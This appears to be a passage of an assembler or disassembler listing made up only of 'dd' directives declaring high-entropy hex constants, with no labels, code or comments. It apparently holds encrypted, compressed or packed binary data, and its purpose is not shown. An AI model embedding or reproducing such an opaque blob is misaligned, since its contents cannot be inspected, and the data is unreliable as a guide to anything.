		dd 198F9622h, 0FBD40A18h, 39908A39h, 52C6738Ch,	0A107D779h
		dd 0BA5F0472h, 80D8B180h, 8A61C36Dh, 7C986896h,	50F16004h
		dd 0A4311CA0h, 59C369C3h, 0A6490DF9h, 0E1D92764h, 4C223Fh
		dd 0A801E330h, 74E6AE0Ch, 0CFFA06B3h, 0CA78A08Fh, 715E2D30h
		dd 4026AAh, 38FFCD2Eh, 526D2A71h, 870C2300h, 0AF93BC55h
		dd 8C510096h, 41D72130h, 5F03D909h, 0AE3F047Fh,	64D11276h
		dd 80702024h, 0B5E63EBBh, 0C28BA00Eh, 771158h, 13571B1Ah
		dd 8AB72F27h, 0C7BDAE09h, 1601088h, 5E9C1CDh, 0F47928E9h
		dd 0A901419Dh, 215D82F2h, 61F113A8h, 3AB3197h, 37759F6Ah
		dd 17FC288h, 718AD930h,	0C0347206h, 894AE45Eh, 7F1D8C0Dh
		dd 3686C5F7h, 3290B3Fh,	7EF4B1C7h, 84A1E75Ch, 4099F588h
		dd 1808D68h, 163ED2EEh,	19C33763h, 8EE40E90h, 31783B7Ch
		dd 0F79A24h, 336514DCh,	270983A9h, 995BC606h, 0A908EF3Ch
		dd 9901A5F2h, 8968781Fh, 5980DF98h, 609FB46Fh, 8E013594h
		dd 32785B10h, 0E06F276Bh, 549B242h, 0EAA300A4h,	6485AEA0h
		dd 128453Eh, 0A41FF0h, 2ADB4272h, 886729h, 0AC9F9D04h
		dd 45C7EE1Dh, 86037C00h, 3DD429DAh, 0EDA6895Ch,	75A980F5h
		dd 0FFAEDC7Dh, 63A100BFh, 53856FDFh, 2201180Bh,	0F908B598h
		dd 0C203791h, 0B71E011Ah, 3EA5A702h, 5651800Eh,	54327022h
		dd 0ED0A0385h, 74245B41h, 8BD8B114h, 900189E8h,	45C8A8h
		dd 0D34AD0F6h, 88165ACBh, 52D8000h, 9E6B9C75h, 0E4808BC5h
		dd 4A3B237Ch, 58FD833Bh, 0A01DF739h, 2604C93Fh,	18B8BBA8h
		dd 64D331DEh, 0A6259513h, 34C20C0Fh, 55217480h,	5A3500E1h
		dd 0D497F3C8h, 4828B51Ah, 0DF6441A1h, 0E019A308h, 0C26080A9h
		dd 419D01F9h, 0C830551Ah, 8C1628h, 0EE6F1B20h, 933F10CAh
		dd 0E5296B67h, 7B95CFE0h, 62E14BEh, 0A331C41Fh,	80582921h
		dd 1B498679h, 4B9E55h, 35C9024Ah, 0FA23F103h, 390091B8h
		dd 0B57859D5h, 280E2641h, 254998Ah, 482CE430h, 2061100Bh
		dd 0B824F250h, 89D950C0h, 0EA69C068h, 2180187Bh, 69C32F01h
		dd 322910A6h, 4660E09Fh, 41C6385Bh, 49143E30h, 0BA8E4BAh
		dd 0FEF877C7h, 0F4C17780h, 8912EF8Bh, 4213F1Eh,	1FCC90EDh
		dd 88720BF8h, 0C418F68Dh, 68B13DD5h, 0BDEA7107h, 0FD394C30h
		dd 0A7CE0085h, 42FF94Dh, 6007942Ah, 2880545Eh, 87B94Ch
		dd 4D86CB61h, 0A73C855Ah, 0C00FBF78h, 0A04893C8h, 4CC1FD9Dh
		dd 0C498372Fh, 9C3570C1h, 0AB00125Dh, 0E8C8C5CEh, 2FF77D3h
		dd 2C19081Fh, 18A09DD4h, 0F9EB3694h, 1F011074h,	0B00B3269h
		dd 95E8C4B3h, 4DC804A4h, 80B6ADE7h, 98237ACCh, 0A1248A4Ch
		dd 2007D0CAh, 922BF687h, 70048AF8h, 2A12C04h, 0F2C4BC88h
		dd 17D000E4h, 3A21167h,	5800B87Ch, 0D77F1AE3h, 76E2C56Dh
		dd 5F6E24E5h, 482820h, 4620DE34h, 0A6F469BCh, 914E8A03h
		dd 5365B0Dh, 882EB659h,	0CFA48C6Ch, 64CC4D13h, 0E0989600h
		dd 6538EAF0h, 0C4AE98A0h, 0C3D40860h, 39DD998Ch, 0B3F7012Dh
		dd 9E4DC1FCh, 0E2306058h, 0B0D3FA2Eh, 162EBA11h, 297C0E10h
		dd 0E4E0A0A0h, 5B181AC7h
		dd 3E49C14Dh, 9BFCA8F1h, 2E7F005Dh, 86E66FFEh, 0B11C25C8h
		dd 7E410F5Eh, 0CDAC88AFh, 6B341850h, 0A1FA07E3h, 0E01A06B1h
		dd 70E6EB58h, 10FC7919h, 0F089F5C0h, 98A1C1ACh,	60962182h
		dd 3E88CF58h, 6651C0FDh, 72EECC01h, 431F4EE4h, 8040F03Ah
		dd 0C10B1C03h, 47E41721h, 84E050A4h, 9EE9809Fh,	15D77367h
		dd 48A15D07h, 0E6E71B8Ah, 8B406950h, 7C135C84h,	20997212h
		dd 0D404ECA0h, 3D694E00h, 2FA8D15Fh, 3AAE05B5h,	82344129h
		dd 97216B64h, 0F8A61610h, 2028131Ch, 0C03026E8h, 811D7200h
		dd 7C5DC6C5h, 2E2CEE79h, 38F24h, 8DA590B9h, 0FF485A68h
		dd 0F48CC030h, 5B8B8Fh,	0F6C0FB1Ch, 56B10C68h, 0CCFACF07h
		dd 9A60D603h, 5A0891Fh,	0FEA4DF83h, 0AA548CC2h,	7A05092Ch
		dd 0B224D000h, 9867F061h, 0CC29483Ch, 0ED801480h, 6C1EA6AFh
		dd 34003BE6h, 0C44A5187h, 72E30062h, 0E5D52175h, 66000D24h
		dd 2522B906h, 0C0B6816Bh, 78C27FB8h, 0B5788AE7h, 103F90C9h
		dd 0AE2000h, 0CDCB3EEBh, 0B5E9C965h, 1A97191Ch,	0D4ABA70Ah
		dd 903F3709h, 30E68D54h, 52C65A2Eh, 2900B04Dh, 0E5748870h
		dd 905D9D4Fh, 153E30A4h, 30DD3C31h, 9FEBD100h, 0CFEE467Ah
		dd 0B1470A0Ch, 87A4C002h, 60C61FAEh, 57E6D53Ah,	1503BAECh
		dd 0D99FCFE5h, 1D38F8B1h, 0D0DC0064h, 0A15FC3A3h, 0A9002711h
		dd 1236F2F7h, 0F551CC0h, 3563D078h, 3B00C90Bh, 2A9157C6h
		dd 6BF258h, 2DF7C17Ch, 7475A9FDh, 0F10F1D45h, 0C907CC63h
		dd 0CD017248h, 6911F71Bh, 0B7D4271Dh, 60A8E885h, 2EA969FDh
		dd 39029D5Ch, 0B5B69C87h, 0F889401Ch, 782F6006h, 0F6AB27F2h
		dd 7EC431CFh, 11F1830Ch, 347A31FAh, 0E07D5629h,	9A7C264Dh
		dd 87D021C7h, 2AA70048h, 0A8B885C4h, 0C382C526h, 5FA7806h
		dd 3EF203E1h, 2CA43606h, 580B1100h, 84352E4Ch, 0ABAF00BCh
		dd 0B404C094h, 0A40797CDh, 1CCF0A2Fh, 0DFF1587Fh, 5CB6FA8Fh
		dd 650AF1E3h, 39407A2Fh, 37C18050h, 0C061A662h,	1AA4A77Dh
		dd 474D11C3h, 0DE8DC851h, 0D9050022h, 5368A98Eh, 8901E780h
		dd 0F391F4BCh, 41801DCEh, 39A44878h, 0FA50D928h, 0A988E394h
		dd 0F6A003D6h, 5CD2369h, 0CEB33100h, 0E8217B81h, 7D930A34h
		dd 80806FD0h, 0EF173BA4h, 8E0011B5h, 874BE4D1h,	13975EEh
		dd 7A279D86h, 84FD732Fh, 933E96D1h, 883098C4h, 5462A972h
		dd 3A4970B5h, 1670029Ch, 1C46020h, 0CBE03F59h, 0ED382037h
		dd 1BA4A98Bh, 9F393980h, 68202B54h, 0BCFB950Fh,	0E5E9A011h
		dd 1D1EA4h, 1CAA1410h, 0F1997529h, 0E760367Dh, 0D11DF349h
		dd 74900Ch, 7A875A4Ah, 812CEFC6h, 94751B01h, 491237F2h
		dd 0C028CDC8h, 0CE2250A9h, 1400B5DAh, 0C1650C8Dh, 6A9D271Ch
		dd 83460EBh, 0CD8C1E7Dh, 0BA3956h, 0B65D3274h, 97048999h
		dd 8614CCF0h, 0A72CCAh,	0AD3F88BEh, 0FA5D1880h,	0B8A61Ah
		dd 9EDEC110h, 3CFE24AEh, 6942ED00h, 99825E25h, 0CED307EEh
		dd 6071A97Bh, 0AE62A263h, 7803ACA4h, 852734A8h,	0D0F918E4h
		dd 0C80D596Dh, 3C506201h, 43B9D408h, 19EE2D8h, 0CC37445Bh
		dd 802FCD3Eh, 93C02E49h, 3AD2AC3h, 0D194A465h, 30DF8C9Eh
		dd 0FD86272Ch, 0D2FA30A1h, 7C819700h, 96B501E8h, 0A162A5EEh
		dd 7251801Ah, 2F57AF48h, 5525136Ah, 0B02827FAh,	0FE6BCC7Ch
		dd 0E548827Fh, 407E80E0h, 0DE8DFE0h, 0C8832652h, 0A6C52019h
		dd 0A017491h, 2F563A7Dh, 8980FED1h, 9EF9F318h, 0D1FEF4C8h
		dd 1830B830h, 37AC1Dh, 0CD59F77h, 73552048h, 3F952702h
		dd 0A06EDF30h, 0F0A6ED94h, 1C3A00DAh, 8231E301h, 0EE00D8D3h
		dd 0F5DC3996h, 287E9914h, 2AC43E3Ch, 0E0C023A4h, 2C380064h
		dd 422F0BBEh, 8B184EFAh, 962127A4h, 2E2D1F58h, 0E3D60048h
		dd 65801CC2h, 6241E001h, 7B2F5D1Dh, 891EA422h, 277E12EBh
		dd 832A20Ch, 5BA1BC90h,	0F9281300h, 1F379ADCh, 7D7101B2h
		dd 3556327Eh, 0F0CC49DFh, 80F3942h, 0C0ED291Ah,	5372F607h
		dd 6F380F7Dh, 3300634Eh, 0B2A90157h, 31C43950h,	3D3420A8h
		dd 0D46D4900h, 0ADC8EC60h, 7E673D32h, 72AC01F4h, 0F1022D3Eh
		dd 0D422A5h, 6B0D5693h,	261A596Fh, 7482CF9h, 4081AAF0h
		dd 8556FBEBh, 69A90406h, 970A4E8h, 2B0B797Bh, 0F29258A2h
		dd 9004E92Eh, 2A839C4h,	0E5166972h, 0AC90A5F0h,	0D9002F9Ah
		dd 0AAEA183Bh, 1CDB90C7h, 4DF70917h, 30C9CA72h,	24939D18h
		dd 720A2891h, 147EFAh, 86A87F58h, 75322FF6h, 90A58129h
		dd 0E082F4h, 0D8A07708h, 67273D42h, 0A93F8606h,	64D09395h
		dd 4028B894h, 8C483156h, 847D4CFFh, 0F14FE1Eh, 51010F32h
		dd 31C10693h, 0F4F89122h, 347E0B02h, 30469B2Ch,	0AA002AF0h
		dd 0B7A6C1AFh, 19CFA0Ah, 0F4371DE3h, 30CD87E6h,	0C9C0FB24h
		dd 0FF01A805h, 0A9DF000Dh, 0E97B772h, 370A89F1h, 0AC7EF8EDh
		dd 0C06D3D41h, 6F25A1C0h, 0F9A2C09Eh, 0E5101F06h, 0EC99C0FBh
		dd 0FAA73194h, 6214B100h, 33914EA4h, 83D70152h,	0CD2CA81Dh
		dd 8AAC5029h, 3400CAF8h, 0FEF6B608h, 1326B1BEh,	8F588EDh
		dd 0EA8053B4h, 0A362EF0Dh, 0F9AB0EA6h, 70E0C0E8h, 71FFCC9Ch
		dd 1255730Bh, 69A810CEh, 540090A9h, 6C7A8EAh, 124E1D56h
		dd 0E56F20F9h, 79C20009h, 0C98962h, 8395A425h, 2833114Dh
		dd 0F4365804h, 0C0C56CFAh, 7AD0804h, 0EFB05323h, 1C51DEF1h
		dd 1262D198h, 28760BFh,	5B700F96h, 0C6602AA6h, 0EB5C89DDh
		dd 21267C7Eh, 27098C50h, 0C1381087h, 5EB703FEh,	0AEF7CC0h
		dd 0D1721917h, 0FA2D0420h, 977D32h, 89640A14h, 3AA87C62h
		dd 0E9266F09h, 15422F1h, 0C8CD2422h, 0A53E1DB0h, 89E10088h
		dd 7EB9A110h, 0A9D8C052h, 0BE4BD47Ch, 354FAE02h, 822B0757h
		dd 102C78F0h, 8FF8D8DCh, 33FA9909h, 32A784E4h, 0F193F4C1h
		dd 73E3C507h, 0AFD0EC3Ch, 7C1873BAh, 4E8A3D5h, 0A906026Bh
		dd 0F4842788h, 3800930Fh, 1C9F01EEh, 0BC3403FDh, 0F0FA355Eh
		dd 2B002174h, 10EF0474h, 131DB72h, 0AA9C53C9h, 49083D11h
		dd 1015F4E8h, 3A840F00h, 0F0E4BBF3h, 305D0748h,	617DE8C3h
		dd 8082E63Bh, 0C0DB5A0h, 185C902Dh, 0C0116251h,	15E9AA63h
		dd 0A3BC80BBh, 70F520Ah, 80AE7DDFh, 0B7022F7Fh,	1F9D7A5Ch
		dd 24F0AA9Ah, 44291110h, 501DA5Ch, 0BBF4DE67h, 0BC707BA4h
		dd 873701BDh, 7715A3FFh, 0B867203Ch, 0FACB200h,	92556B7Fh
		dd 83D0EF20h, 27FF3ADAh, 794F529h, 10B817D5h, 0F6FAAB22h
		dd 0F0A86312h, 35371800h, 0E15BA91h, 303D7F42h,	9EDCDD40h
		dd 0D5006F32h, 6DAC98FAh, 190BB117h, 86119D0h, 0D821838Eh
		dd 9B80ACB0h, 9A101E49h, 0E6D00088h, 177C7AA6h,	1CD43Bh
		dd 0BF0FED02h, 3D4C14h,	80A592DFh, 68058366h, 41C720Ch
		dd 282180Dh, 0A89AD4CBh, 0EE43866Dh, 0C4525900h, 0C1C8C611h
		dd 0BD9E19B0h, 80740829h, 11DC6321h, 423BA4h, 2E89A857h
		dd 0E8E7FB03h, 68FF2636h, 55B8C028h, 360594Dh, 7652CC07h
		dd 1450113Dh, 0F83AB1A7h, 431C3723h, 614E8618h,	3C10D800h
		dd 1294FF02h, 0A204CF58h, 0A657A020h, 6D00ABA5h, 13900CCAh
		dd 39CB92DCh, 79D8ADh, 0B333BA8Eh, 9265A87h, 9EC95D1Ch
		dd 6233780h, 5503D8h, 932DABB9h, 7242DA34h, 8BEB9D00h
		dd 277D9FA8h, 0EAB60029h, 0E09612BBh, 0D614F9FBh, 9D62B2h
		dd 0C257D33Ah, 3050F3D0h, 1B306DAAh, 8B0049CEh,	92CACF9Fh
		dd 33E783Ch, 6310B450h
		dd 28006DFDh, 0F20439D9h, 0D979F21h, 7A3BD1CEh,	8395E140h
		dd 0FB302079h, 58B5D848h, 0CD7B1E59h, 2197981Eh, 69007810h
		dd 2F6BE8BCh, 1BAF741h,	0FFCD6EB8h, 0D73BC51Eh,	5E1016D8h
		dd 2C01897Bh, 0E43FCE69h, 78802FE8h, 827C9D1Ch,	1700365Eh
		dd 0DEF85610h, 67500481h, 81D0D1BDh, 0EC2ADFF7h, 370020F3h
		dd 0B2C3515Dh, 640BAF0h, 345E963Eh, 0D10330B6h,	0C5DD0889h
		dd 0D723D832h, 303807C8h, 536D99AAh, 5900A6B4h,	0D7F1014h
		dd 601C58ABh, 3D01402Eh, 23000E3Ah, 0CBD6E5A5h,	0BA2BB22h
		dd 2814DB6Ch, 6D3C05h, 6F8D2DFFh, 461FD409h, 890099CBh
		dd 873B43BDh, 0B2FE0013h, 5D9302FFh, 0ED00BC9Ch, 2F4A3546h
		dd 3628EBC3h, 9104597h,	0B888BF0Fh, 46CF0036h, 91BA33h
		dd 6034669Eh, 879418AAh, 0BF2BB50Eh, 0BA8500C4h, 0C824B6CCh
		dd 0B427229h, 7B82280h,	221A0222h, 712731DEh, 848C9078h
		dd 2A4C1B5Bh, 2D004351h, 275F6120h, 0A9530Ah, 8109D5D9h
		dd 9525E1EEh, 30CCFB00h, 4EE529EBh, 0CDFEF9h, 0D8C88A77h
		dd 2C74AF06h, 44BF0E01h, 0AA7C8D32h, 5E65C0h, 72F087E2h
		dd 36256F22h, 6D1C5BF2h, 5D40AC11h, 0DDA54B62h,	0FE390E5Fh
		dd 8C6B93B0h, 0EB389D00h, 4C0FADC4h, 6319CFC5h,	80C79F61h
		dd 4C1B8802h, 0D1017ADEh, 1945A0B5h, 0BCA0FA0Ch, 0CA211649h
		dd 81C8840Ch, 43B50C5h,	14F3576Dh, 3C1D3Ch, 0D1CAC673h
		dd 0C0646CF7h, 18AB2919h, 0F900DB28h, 0AE1E3BB8h, 0ECA29652h
		dd 4684008Bh, 70DA5401h, 882A834Ah, 0FE04EC43h,	52F8905Fh
		dd 0A0D4E082h, 96567378h, 0C440581Eh, 0DF31D203h, 7CC00ED5h
		dd 0DB3A64F4h, 78F88028h, 62566A6Dh, 38F9E296h,	5480865Fh
		dd 2EBA178Ah, 0D21D7C1Fh, 35C06D38h, 8F2A233Fh,	0EC30086h
		dd 70326F44h, 471C27D0h, 0F801A403h, 0BF38A26Dh, 1E2E6660h
		dd 40DE8813h, 9940E02Ch, 140EC5CDh, 600B5D87h, 0B82476A0h
		dd 0FD6F00CFh, 0A23A633h, 5D00B734h, 9E05CC04h,	1C36DC8Bh
		dd 0C0D1B164h, 4D07E34Ah, 1B00C9DAh, 2EEEA881h,	7067A83h
		dd 0EC1694C4h, 0E2F980EDh, 0F20368FCh, 455704D1h, 0F71BD8D9h
		dd 27EB0098h, 0F50C63BFh, 0CF005316h, 1A66CB78h, 7A1C07C0h
		dd 0A6360031h, 62CEEEAEh, 88005FD0h, 178D30D9h,	7DEFFBh
		dd 0DD1FE1E7h, 29D067DBh, 0E436D500h, 0F3BF4B6Dh, 0FC120038h
		dd 32D9D86h, 0DC00334Fh, 5391596h, 144C701Eh, 0EBB29E3Ch
		dd 217E9A0Eh, 63E8DE0h,	317A17A8h, 9415F63Dh, 0E844470h
		dd 0C4CD87B1h, 80808CD6h, 7D571Ch, 28EEB246h, 7E33A4F0h
		dd 552FF800h, 7FAF347Bh, 0E5940061h, 0A124DB37h, 2700CAE6h
		dd 6AFC0C67h, 1CE9E7h, 8281DF13h, 0E8382460h, 0B5661700h
		dd 4DA12746h, 5F249h, 0AEA36FEh, 0F406513Eh, 22BEE01h
		dd 0C1AB203Ah, 5C60DDF2h, 241F3599h, 5B8006D0h,	4968FF5h
		dd 6D7300ABh, 57F483B9h, 3F388A56h, 80D1BE42h, 51FD129Eh
		dd 0C4247Bh, 0A64A8C22h, 0C9F05F68h, 0D8E77A03h, 0B02589D9h
		dd 403865h, 78172DEBh, 3BD0FB53h, 4DC71000h, 77D459FAh
		dd 0E5D100E3h, 17747BD5h, 6E03BAE1h, 377D4218h,	28F3E83Dh
		dd 0C77F27h, 6ABCCE98h,	36A0F9FEh, 93EBE300h, 2094EDA1h
		dd 8C8A09D8h, 0DA80F054h, 499C673Fh, 0CD001FE6h, 928E7179h
		dd 31CCA1Eh, 5B0542F4h,	511FC115h, 9E39ACF5h, 49419AFFh
		dd 3190EE38h, 0CABDE8h,	0C3B0E61Dh, 3E9026Ah, 6BB39h, 3DF79AC2h
		dd 1C08DD34h, 470F5AAEh, 70FA41A0h, 7E439E83h, 87002D74h
		dd 9BD2E724h, 4BC208h, 0B08EAB70h, 8372817Ch, 79858C1Eh
		dd 0E1B92881h, 0BD07415h, 0BC210093h, 0BEDF6FF0h, 0F8166359h
		dd 0CC011023h, 81BF534h, 0ECD645D8h, 614C18FDh,	0B205FAB0h
		dd 7E288F05h, 80BB01E9h, 4FC8DFC9h, 303B38h, 0CCD9D32Fh
		dd 0E7DB1Dh, 3AC769B9h,	0A75779B5h, 28B35F00h, 7E82760Bh
		dd 0F18A00F4h, 0EC4DE607h, 5000E7F6h, 9EDF216Fh, 72CAA1h
		dd 0A7377B96h, 0EB786DBBh, 7404691Dh, 997FC8C0h, 16BBDC5h
		dd 57ADF409h, 302CBE1Ch, 3C0001F5h, 2FD3DEFFh, 3D051Ah
		dd 26B2D42h, 0E1CE6EBh,	0E3BD9306h, 1CD85BE7h, 40059431h
		dd 8BB536F6h, 6E011215h, 0B8B96C78h, 0F9E0287Eh, 0F4AC002Ah
		dd 9539DAECh, 1B00E46Dh, 6EBC5561h, 0E5D747h, 0A03DC116h
		dd 0AFF0E90Ah, 0C856A80Bh, 0C2AD8098h, 7CAA7EC3h, 0EA0C0B8h
		dd 40114889h, 6C26E700h, 994F6618h, 1FF202A0h, 10DE0CA3h
		dd 5D3F5440h, 0F1CF8618h, 0E8018B28h, 46B200D4h, 0D61AEE0h
		dd 0C801CEA6h, 58E6CA1Dh, 8CC8C416h, 0C09009h, 0A974DE29h
		dd 2A4EC717h, 0D375560Fh, 0B17C0064h, 6E923Eh, 7B0DA43Fh
		dd 9A93548Dh, 6D868001h, 0EB67CD4Ch, 92EFC840h,	0A4980E7Bh
		dd 660026E8h, 7A58AC64h, 7CB77700h, 252D49D9h, 7E5A07D6h
		dd 0D7C52EBCh, 9FFBB0DBh, 90003F57h, 285BCE51h,	36FF407h
		dd 8B059738h, 0A9C843F9h, 7500D5E4h, 105A7B77h,	121154A7h
		dd 4E9833h, 1BE0C683h, 913CEFCBh, 82E3804Fh, 5005E234h
		dd 0F608044Ch, 902133DCh, 7FC9D0E8h, 0B9C81500h, 7C4FFF6Fh
		dd 34E400DDh, 0A3699599h, 0DA006B92h, 933EC201h, 0E5F405h
		dd 631BDC48h, 41B07A96h, 0CB744F09h, 0A698008Ah, 0C618A9h
		dd 44694EEh, 1E58220Fh,	0FC059EEAh, 0F477D120h,	3399C8C0h
		dd 158602B3h, 0C68FADBh, 7CA6F780h, 0D8906C44h,	5EFCE000h
		dd 74CF0BC7h, 9C114C29h, 0B9930F80h, 8800E2EFh,	35F89C1Ah
		dd 1D2C6D9h, 8B31030h, 20687189h, 39014C0Ch, 0F16DC21Eh
		dd 3C30D4D7h, 61CC1E47h, 64BE0017h, 7D1322F9h, 0EB4DC100h
		dd 73841AACh, 0FC610032h, 6EE9967Eh, 8300D128h,	87ACD047h
		dd 0C7579Dh, 0A736FD97h, 1B4C24D4h, 10E4F106h, 7785F72h
		dd 91D6F2CFh, 73F001DEh, 0BA5D6024h, 1B952603h,	0D0A632CEh
		dd 47D669Fh, 6DE67CDBh,	80FC84B0h, 91827348h, 52BB6C07h
		dd 0EE30761Fh, 71E89F3h, 0B83A3787h, 5090F3A8h,	1D9D1790h
		dd 8500A7F8h, 405A6473h, 0FE6A7502h, 0B6BE0011h, 393217B3h
		dd 0EA036BFDh, 96778AFFh, 0E2B9803Bh, 2B751C80h, 638540D6h
		dd 0CF14A20Fh, 78E96800h, 89169784h, 0B8C40045h, 5F9822E0h
		dd 21328F1Ch, 4866E85Ch, 184320h, 0B30F7265h, 5F87C703h
		dd 99FF1B02h, 80D00D08h, 0A2D3DBC4h, 294B0084h,	80C3EB2Dh
		dd 69136C8Eh, 0E0002317h, 39A7A0D0h, 75B60099h,	2E87C692h
		dd 16009389h, 4068EAE8h, 60DDC1B1h, 9C9D1880h, 0F70F5290h
		dd 0A212325Fh, 0E0CE1EC7h, 0F616AC6h, 2C4406ACh, 0C2277F44h
		dd 9CC0B6C0h, 2A303A57h, 7A7028C4h, 5DEF00ECh, 71FFABD0h
		dd 0A43E8D0Fh, 76CC80E3h, 0E06538A1h, 2CF6C1h, 0E75950FDh
		dd 41D4BE69h, 0A85A7D12h, 3CCD9430h, 1C2B905Bh,	4524B187h
		dd 0C0C5E0A4h, 0F16F3F1Ch, 0E702C49h, 0DFC35B54h, 1C64CC9h
		dd 98EDC5AEh, 57C8CE80h, 4010EB8Ah, 0D3892C00h,	9BD1737Bh
		dd 0F6B3A6Ah, 626E6780h, 64CBADA4h, 0FA355113h,	79328440h
		dd 0F654459Ch, 0D04C5513h, 0BAADCCh, 76011653h,	0A0CA696Fh
		dd 0DBDC1900h, 271A7F92h, 4ED414ADh, 8F00C86Ah,	2067808Dh
		dd 61C12ACh, 3EEE0998h,	0E3BDAE3Bh, 0C8483D0Ch,	4C5A00A0h
		dd 448B74FAh, 0CF3868E4h, 0A1F407A5h, 720C897h,	770B94D5h
		dd 6A5800C3h, 0AFAE5B47h, 0BA00449Dh, 0B74D6F1Eh, 6A828h
		dd 20297B62h
		dd 14DDCB6Dh, 2674794Ch, 0A7005523h, 56A5F253h,	95640071h
		dd 0BA148B5Ch, 350C8E68h, 2A9216EFh, 7761008Dh,	0E650AAADh
		dd 45075594h, 344C8393h, 0E9E3E73Fh, 9937F1E0h,	0CDB0069h
		dd 2D7AE77h, 70042A6h, 23BCD10Dh, 0E4785698h, 5DFE0A44h
		dd 0A32DB0h, 871988D4h,	0D3009338h, 0C77F1420h,	28183AAh
		dd 0E4EC6C90h, 0D2C0D641h, 0BF7BC94Ch, 30A33D00h, 65C08F4Ah
		dd 5BC84CDEh, 0DC75F700h, 96900987h, 212E8400h,	0D26E79B3h
		dd 0F0FCA316h, 1C38DC12h, 0E265C8h, 0B1860E04h,	4F01EE31h
		dd 0B82135B7h, 0D7605DA1h, 75BC0023h, 4CEB3DF6h, 4E0050A5h
		dd 567AD0F0h, 0C94B204h, 0A32F8F51h, 29ECDAC0h,	0B61CFB00h
		dd 0C9DC9033h, 73380980h, 4800CC8Dh, 0A688160Fh, 841FE43Ch
		dd 42F7E7BBh, 0DB5AC800h, 0C6E4E122h, 0AB512498h, 2A3CFCD4h
		dd 0A500B89Ah, 20A6CE4Ah, 0C12CFCCh, 9E81DA75h,	0D0099E2h
		dd 59902B0Bh, 0D5B973h,	0C1F78AB4h, 4410DFF0h, 0AB033F05h
		dd 6EC04F6Fh, 3BA840EDh, 0E1808FA6h, 0A13BBF1Ch, 9828B9EFh
		dd 5401A80Dh, 4ACF956Eh, 0CCF04583h, 0DAFA006Bh, 0A514369Ch
		dd 0F104FC47h, 119A6273h, 0D7299480h, 36E50789h, 3E4513h
		dd 0CB6B0344h, 86678101h, 0E691BA8Dh, 5834E420h, 230035D3h
		dd 8E6A4DDCh, 8AF8854Ch, 0E0E43200h, 589E1861h,	0D88D3C2Ah
		dd 0FF92EBBh, 0F736D617h, 6A62A061h, 0FABC40B1h, 8001423h
		dd 66F078B3h, 2E8A40A1h, 0F7CBDAh, 0A0D28D64h, 0E2003C4Ah
		dd 2FFA60ACh, 0CFC49Ah,	78ADE94Ch, 1E6BE51Dh, 531B2D00h
		dd 480B443Dh, 0E76C1D22h, 0ADC780F9h, 54CC67FEh, 6509EB0Eh
		dd 7814E17Dh, 6E70396Fh, 3C0F0050h, 0DF2BA020h,	0F03AAF0Dh
		dd 0E44303E6h, 88F2E018h, 2CA3115h, 0D51C30C3h,	5DE0D8DEh
		dd 991D59D4h, 4E8019DCh, 0B4CE4B9Ch, 13A11EF6h,	3B51CF23h
		dd 2A07018Bh, 281D037Eh, 0ABBA9000h, 0C21BA108h, 87EEA9h
		dd 9BAAACD9h, 0B3AE0CA0h, 6DF2A300h, 519D982Eh,	1ECEF0BEh
		dd 40B683BFh, 0FFA04C67h, 0D1394602h, 0E87D80B8h, 1F1C77B7h
		dd 4CFA00Eh, 0F99E0082h, 0CB5A5FDBh, 990EFDF2h,	0C0D17539h
		dd 2AA10A47h, 9EC53A7Fh, 3BC7C980h, 7DCE9D95h, 6A2DAE1Fh
		dd 230C0340h, 3AB0108h,	0A39A6159h, 4F0AD1Eh, 86EC3D5Eh
		dd 4188F0F1h, 4DA49F06h, 101264h, 4CBBA747h, 0B032DF40h
		dd 0CF3FB58h, 2003FF8Ah, 5D3500BFh, 0EE68793Ch,	870CF4DCh
		dd 0A22760DEh, 0ABB60059h, 22A637A8h, 90FADC4Eh, 70E934FEh
		dd 12002CA1h, 551B1E3Ch, 4F0DA8h, 93922A75h, 1C09CE04h
		dd 338C3500h, 0D2B250A3h, 0FEA87CF7h, 22A70015h, 9ACD7FBDh
		dd 0F1039EE2h, 7EC0C41Dh, 9D57E8F0h, 0E8070036h, 0A428C2D4h
		dd 3400E7D3h, 19019A87h, 7D0D41B1h, 0CA8A05F6h,	40EFAFDCh
		dd 372FC5A4h, 3D3CD5C8h, 0C3220751h, 0D420303Ch, 90578h
		dd 1D1E45E5h, 0BDF5F99Dh, 0D8D6AB00h, 2DA7BA8Ah, 0B24F0058h
		dd 0B45FA834h, 2000E48Bh, 550D0654h, 12A4E18h, 958205DAh
		dd 80A093C4h, 0F7E38099h, 3C3650Bh, 874C776Fh, 18073558h
		dd 65C3DE1h, 0E26023A0h, 8A8901ADh, 1F261122h, 70E147D0h
		dd 58870FFh, 67844C01h,	66E54761h, 90DD07E4h, 89EA00ECh
		dd 0C55A81F6h, 0D9715142h, 6615F00h, 1C7997F7h,	0E4EA37h
		dd 0DE45C665h, 6E52667Dh, 0BB6261Dh, 0C0B15D8Fh, 0DAD719B0h
		dd 8A1309DCh, 3C806B96h, 94B9C1C0h, 0BD742600h,	40A20D3Fh
		dd 0ADB200E8h, 63B49F76h, 0C500E2D3h, 61057ACBh, 0E8892271h
		dd 80880E0Eh, 2881C4AAh, 0E47C9F0Dh, 34EA0BE4h,	0D55F2B00h
		dd 0C1554A78h, 0E810077h, 689E8D47h, 65009175h,	3DD02202h
		dd 4E4FA49h, 98B35026h,	2000BE3Ch, 1775C197h, 0DF990F0Eh
		dd 0CFE1AC85h, 0F99A98B5h, 54F84009h, 270007F4h, 0D1383E23h
		dd 8BE944h, 463561E7h, 0C7EFF5D3h, 0DC2A9400h, 10E54529h
		dd 51910014h, 9DEACC0h,	660048F9h, 0A6012DC5h, 0FF57BEh
		dd 0B79370F5h, 28E82F3Ch, 0E60E38C0h, 4DE2328Ch, 2E00604Bh
		dd 2FDF8024h, 4F1865CBh, 26182AA2h, 0A1E067C3h,	76DD7062h
		dd 42E81E6Ch, 182EE737h, 63C00687h, 677AF3h, 0DE02DA4h
		dd 0EC6965F9h, 0E8781500h, 757BC126h, 0D57C35h,	0FBFC0F49h
		dd 0DFFA2F7Ch, 6EE3E118h, 1800C89h, 0E00EA289h,	0D1C421D2h
		dd 80C5D782h, 0B0CFAE1Ch, 0A83DFE98h, 0EB8061A7h, 0DED8F274h
		dd 2DE20098h, 0DCCDCA4Ch, 0BA77EF7Bh, 7A6A1705h, 0D0837C33h
		dd 0A00DE032h, 9BF0E9EDh, 3F6B0084h, 1266B846h,	0A100A530h
		dd 13CCEC1Eh, 0BBDEB1Bh, 68D6FAEAh, 5700FDDEh, 0E606EDC5h
		dd 58E90098h, 0D6F83A8Eh, 273A951Bh, 36AB1E3Eh,	148DC4C0h
		dd 1A6D5CEh, 2BBB2632h,	0CC669028h, 0E00B217h, 3186D427h
